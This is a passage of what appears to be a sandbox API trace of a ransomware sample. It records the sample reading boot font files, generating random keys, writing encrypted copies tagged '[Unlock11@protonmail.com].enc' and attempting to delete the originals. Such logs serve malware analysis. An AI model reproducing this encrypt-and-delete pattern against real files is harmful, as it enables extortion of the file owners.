dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0117.028] GetFileType (hFile=0x39c) returned 0x1 [0117.028] GetCurrentThreadId () returned 0x9b0 [0117.028] GetFileType (hFile=0x39c) returned 0x1 [0117.028] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0117.029] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.029] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.029] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.029] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.029] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.029] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.029] GetLastError () returned 0x0 [0117.029] GetCurrentThreadId () returned 0x9b0 [0117.029] GetLastError () returned 0x0 [0117.029] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a58 | out: hHeap=0x2ad0000) returned 1 [0117.029] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.029] GetLastError () returned 0x0 [0117.029] GetLastError () returned 0x0 [0117.030] GetLastError () returned 0x0 [0117.030] GetLastError () returned 0x0 [0117.030] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0117.030] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6a58 [0117.030] GetLastError () returned 0x0 [0117.030] CreateFileA (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf.[Unlock11@protonmail.com].enc" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0117.031] GetFileType (hFile=0x3ac) returned 0x1 [0117.031] GetLastError () returned 0x0 [0117.031] GetCurrentThreadId () returned 0x9b0 [0117.031] GetLastError () returned 0x0 [0117.031] GetFileType (hFile=0x3ac) returned 0x1 [0117.031] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0117.032] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.032] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.032] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.032] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.032] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.032] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.032] GetLastError () returned 0x0 [0117.032] GetCurrentThreadId () returned 0x9b0 [0117.032] GetLastError () returned 0x0 [0117.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a58 | out: hHeap=0x2ad0000) returned 1 [0117.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887770 | out: hHeap=0x2ad0000) returned 1 [0117.032] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0117.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0117.033] GetLastError () returned 0x0 [0117.033] GetLastError () returned 0x0 [0117.033] GetCurrentThreadId () returned 0x9b0 [0117.033] GetLastError () returned 0x0 [0117.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0117.033] GetLastError () returned 0x0 [0117.033] GetLastError () returned 0x0 [0117.033] GetCurrentThreadId () returned 0x9b0 [0117.033] GetLastError () returned 0x0 [0117.033] GetLastError () returned 0x0 [0117.035] GetLastError () returned 0x0 [0117.035] GetCurrentThreadId () returned 0x9b0 [0117.035] GetLastError () returned 0x0 [0117.035] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a08 | out: hHeap=0x2ad0000) returned 1 [0117.036] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0117.036] GetCurrentThreadId () returned 0x9b0 [0117.036] GetLastError () returned 0x0 [0117.037] GetLastError () returned 0x0 [0117.037] GetLastError () returned 0x0 [0117.037] GetLastError () returned 0x0 [0117.037] GetCurrentThreadId () returned 0x9b0 [0117.037] GetLastError () returned 0x0 [0117.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.037] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0117.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0117.037] GetLastError () returned 0x0 [0117.039] GetLastError () returned 0x0 [0117.039] GetCurrentThreadId () returned 0x9b0 [0117.039] GetLastError () returned 0x0 [0117.039] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0117.039] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0117.039] GetLastError () returned 0x0 [0117.040] GetLastError () returned 0x0 [0117.040] GetCurrentThreadId () returned 0x9b0 [0117.040] GetLastError () returned 0x0 [0117.040] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0117.041] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a78 [0117.041] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a58 | out: hHeap=0x2ad0000) returned 1 [0117.041] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0117.041] GetLastError () returned 0x0 [0117.041] GetLastError () returned 0x0 [0117.041] GetLastError () returned 0x0 [0117.041] GetLastError () returned 0x0 [0117.041] GetCurrentThreadId () returned 0x9b0 [0117.041] GetLastError () returned 0x0 [0117.042] GetCurrentThreadId () returned 0x9b0 [0117.042] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0117.042] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0117.042] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881000 [0117.042] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0117.042] GetLastError () returned 0x0 [0117.043] GetLastError () returned 0x0 [0117.043] GetCurrentThreadId () returned 0x9b0 [0117.043] GetLastError () returned 0x0 [0117.043] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0117.043] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0117.043] GetLastError () returned 0x0 [0117.043] GetLastError () returned 0x0 [0117.044] GetCurrentThreadId () returned 0x9b0 [0117.044] GetLastError () returned 0x0 [0117.044] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xab84) returned 0x35c5908 [0117.044] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.044] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xab85) returned 0x35c5908 [0117.044] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a88 [0117.044] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a78 | out: hHeap=0x2ad0000) returned 1 [0117.044] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xab88) returned 0x35b89d8 [0117.044] GetLastError () returned 0x0 [0117.044] GetLastError () returned 0x0 [0117.045] GetLastError () returned 0x0 [0117.045] GetLastError () returned 0x0 [0117.045] GetCurrentThreadId () returned 0x9b0 [0117.045] GetLastError () returned 0x0 [0117.045] GetCurrentThreadId () returned 0x9b0 [0117.045] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xab85) returned 0x36f8548 [0117.045] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b89d8 | out: hHeap=0x2ad0000) returned 1 [0117.045] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0117.045] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0117.045] GetLastError () returned 0x0 [0117.046] GetLastError () returned 0x0 [0117.046] GetCurrentThreadId () returned 0x9b0 [0117.046] GetLastError () returned 0x0 [0117.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0117.046] GetLastError () returned 0x0 [0117.046] GetLastError () returned 0x0 [0117.047] GetCurrentThreadId () returned 0x9b0 [0117.047] GetLastError () returned 0x0 [0117.047] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.047] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0117.047] GetLastError () returned 0x0 [0117.047] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0117.047] CloseHandle (hObject=0x3ac) returned 1 [0117.048] GetLastError () returned 0x0 [0117.048] GetCurrentThreadId () returned 0x9b0 [0117.048] GetLastError () returned 0x0 [0117.048] GetLastError () returned 0x0 [0117.048] CloseHandle (hObject=0x39c) returned 1 [0117.048] GetLastError () returned 0x0 [0117.048] GetCurrentThreadId () returned 0x9b0 [0117.048] GetLastError () returned 0x0 [0117.048] GetLastError () returned 0x0 [0117.049] GetLastError () returned 0x0 [0117.049] GetLastError () returned 0x0 [0117.049] GetLastError () returned 0x0 [0117.049] DeleteFileA (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf")) returned 0 [0117.049] GetLastError () returned 0x5 [0117.049] GetCurrentThreadId () returned 0x9b0 [0117.049] GetLastError () returned 0x5 [0117.049] GetLastError () returned 0x5 [0117.049] GetLastError () returned 0x5 [0117.049] GetLastError () returned 0x5 [0117.050] LocalFree (hMem=0x1053af0) returned 0x0 [0117.050] GetLastError () returned 0x5 [0117.050] GetLastError () returned 0x5 [0117.050] GetLastError () returned 0x5 [0117.050] GetLastError () returned 0x5 [0117.050] GetFullPathNameA (in: lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\Fonts\\malgun_boot.ttf", lpFilePart=0x9bada4*="malgun_boot.ttf") returned 0x1d [0117.050] GetCurrentThreadId () returned 0x9b0 [0117.050] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0117.050] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0117.050] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0117.050] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0117.051] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.051] GetLastError () returned 0x0 [0117.051] GetLastError () returned 0x0 [0117.051] GetLastError () returned 0x0 [0117.051] GetLastError () returned 0x0 [0117.051] GetCurrentThreadId () returned 0x9b0 [0117.051] GetLastError () returned 0x0 [0117.051] GetCurrentThreadId () returned 0x9b0 [0117.051] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.051] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.051] GetLastError () returned 0x0 [0117.052] GetLastError () returned 0x0 [0117.052] GetLastError () returned 0x0 [0117.052] GetLastError () returned 0x0 [0117.052] GetCurrentThreadId () returned 0x9b0 [0117.052] GetLastError () returned 0x0 [0117.052] GetLastError () returned 0x0 [0117.052] GetLastError () returned 0x0 [0117.052] GetLastError () returned 0x0 [0117.052] GetLastError () returned 0x0 [0117.052] GetCurrentThreadId () returned 0x9b0 [0117.052] GetLastError () returned 0x0 [0117.053] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.053] GetLastError () returned 0x0 [0117.053] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0117.053] GetLastError () returned 0x0 [0117.053] GetLastError () returned 0x0 [0117.053] GetLastError () returned 0x0 [0117.053] GetCurrentThreadId () returned 0x9b0 [0117.053] GetLastError () returned 0x0 [0117.053] GetCurrentThreadId () returned 0x9b0 [0117.053] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8ab28 [0117.053] GetLastError () returned 0x0 [0117.053] GetLastError () returned 0x0 [0117.054] GetLastError () returned 0x0 [0117.054] GetLastError () returned 0x0 [0117.054] GetCurrentThreadId () returned 0x9b0 [0117.054] GetLastError () returned 0x0 [0117.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab28 | out: hHeap=0x2ad0000) returned 1 [0117.054] GetLastError () returned 0x0 [0117.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6708 | out: hHeap=0x2ad0000) returned 1 [0117.054] GetLastError () returned 0x0 [0117.054] GetLastError () returned 0x0 [0117.054] GetLastError () returned 0x0 [0117.054] GetCurrentThreadId () returned 0x9b0 [0117.054] GetLastError () returned 0x0 [0117.055] GetLastError () returned 0x0 [0117.055] GetLastError () returned 0x0 [0117.055] GetLastError () returned 0x0 [0117.055] GetLastError () returned 0x0 [0117.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0117.055] GetFileAttributesExA (in: lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8f4db4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2b506)) returned 1 [0117.055] GetLastError () returned 0x0 [0117.055] GetCurrentThreadId () returned 0x9b0 [0117.055] GetLastError () returned 0x0 [0117.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.056] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366869c | out: pbBuffer=0x366869c) returned 1 [0117.056] GetCurrentThreadId () returned 0x9b0 [0117.056] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0117.056] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0117.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0117.056] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.056] GetLastError () returned 0x0 [0117.056] GetLastError () returned 0x0 [0117.056] GetLastError () returned 0x0 [0117.056] GetLastError () returned 0x0 [0117.057] GetCurrentThreadId () returned 0x9b0 [0117.057] GetLastError () returned 0x0 [0117.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.057] GetCurrentThreadId () returned 0x9b0 [0117.057] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.057] GetLastError () returned 0x0 [0117.057] GetLastError () returned 0x0 [0117.057] GetLastError () returned 0x0 [0117.057] GetLastError () returned 0x0 [0117.057] GetCurrentThreadId () returned 0x9b0 [0117.057] GetLastError () returned 0x0 [0117.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.058] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6a08 [0117.058] GetCurrentThreadId () returned 0x9b0 [0117.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0117.058] GetLastError () returned 0x0 [0117.058] GetLastError () returned 0x0 [0117.058] GetLastError () returned 0x0 [0117.058] GetLastError () returned 0x0 [0117.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0117.058] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6a58 [0117.058] GetLastError () returned 0x0 [0117.058] CreateFileA (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0117.059] GetFileType (hFile=0x39c) returned 0x1 [0117.059] GetLastError () returned 0x0 [0117.059] GetCurrentThreadId () returned 0x9b0 [0117.059] GetLastError () returned 0x0 [0117.059] GetFileType (hFile=0x39c) returned 0x1 [0117.059] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0117.059] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.059] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.059] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.059] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.059] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.060] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.060] GetLastError () returned 0x0 [0117.060] GetCurrentThreadId () returned 0x9b0 [0117.060] GetLastError () returned 0x0 [0117.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a58 | out: hHeap=0x2ad0000) returned 1 [0117.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.060] GetLastError () returned 0x0 [0117.060] GetLastError () returned 0x0 [0117.060] GetLastError () returned 0x0 [0117.060] GetLastError () returned 0x0 [0117.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0117.061] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6a58 [0117.061] GetLastError () returned 0x0 [0117.061] CreateFileA (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf.[Unlock11@protonmail.com].enc" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0117.061] GetFileType (hFile=0x3ac) returned 0x1 [0117.061] GetLastError () returned 0x0 [0117.061] GetCurrentThreadId () returned 0x9b0 [0117.061] GetLastError () returned 0x0 [0117.061] GetFileType (hFile=0x3ac) returned 0x1 [0117.062] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0117.062] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.062] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.062] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.062] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.062] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.062] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.062] GetLastError () returned 0x0 [0117.062] GetCurrentThreadId () returned 0x9b0 [0117.062] GetLastError () returned 0x0 [0117.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a58 | out: hHeap=0x2ad0000) returned 1 [0117.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38878d8 | out: hHeap=0x2ad0000) returned 1 [0117.062] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0117.063] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0117.063] GetLastError () returned 0x0 [0117.063] GetLastError () returned 0x0 [0117.063] GetCurrentThreadId () returned 0x9b0 [0117.063] GetLastError () returned 0x0 [0117.063] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0117.063] GetLastError () returned 0x0 [0117.063] GetLastError () returned 0x0 [0117.063] GetCurrentThreadId () returned 0x9b0 [0117.064] GetLastError () returned 0x0 [0117.064] GetLastError () returned 0x0 [0117.066] GetLastError () returned 0x0 [0117.066] GetCurrentThreadId () returned 0x9b0 [0117.066] GetLastError () returned 0x0 [0117.066] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a08 | out: hHeap=0x2ad0000) returned 1 [0117.066] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0117.067] GetCurrentThreadId () returned 0x9b0 [0117.067] GetLastError () returned 0x0 [0117.067] GetLastError () returned 0x0 [0117.067] GetLastError () returned 0x0 [0117.067] GetLastError () returned 0x0 [0117.067] GetCurrentThreadId () returned 0x9b0 [0117.067] GetLastError () returned 0x0 [0117.067] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.067] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0117.068] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0117.068] GetLastError () returned 0x0 [0117.070] GetLastError () returned 0x0 [0117.070] GetCurrentThreadId () returned 0x9b0 [0117.070] GetLastError () returned 0x0 [0117.070] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0117.070] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0117.070] GetLastError () returned 0x0 [0117.070] GetLastError () returned 0x0 [0117.071] GetCurrentThreadId () returned 0x9b0 [0117.071] GetLastError () returned 0x0 [0117.071] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0117.071] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a08 [0117.071] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a58 | out: hHeap=0x2ad0000) returned 1 [0117.071] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0117.071] GetLastError () returned 0x0 [0117.072] GetLastError () returned 0x0 [0117.072] GetLastError () returned 0x0 [0117.072] GetLastError () returned 0x0 [0117.072] GetCurrentThreadId () returned 0x9b0 [0117.072] GetLastError () returned 0x0 [0117.072] GetCurrentThreadId () returned 0x9b0 [0117.072] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0117.072] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0117.072] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0117.073] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0117.073] GetLastError () returned 0x0 [0117.073] GetLastError () returned 0x0 [0117.074] GetCurrentThreadId () returned 0x9b0 [0117.074] GetLastError () returned 0x0 [0117.074] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0117.074] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0117.074] GetLastError () returned 0x0 [0117.074] GetLastError () returned 0x0 [0117.074] GetCurrentThreadId () returned 0x9b0 [0117.074] GetLastError () returned 0x0 [0117.074] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xb51b) returned 0x35c5908 [0117.075] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.075] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xb525) returned 0x35c5908 [0117.075] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a58 [0117.075] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a08 | out: hHeap=0x2ad0000) returned 1 [0117.075] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xb528) returned 0x35b89d8 [0117.075] GetLastError () returned 0x0 [0117.075] GetLastError () returned 0x0 [0117.075] GetLastError () returned 0x0 [0117.075] GetLastError () returned 0x0 [0117.075] GetCurrentThreadId () returned 0x9b0 [0117.076] GetLastError () returned 0x0 [0117.076] GetCurrentThreadId () returned 0x9b0 [0117.076] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xb525) returned 0x36f8548 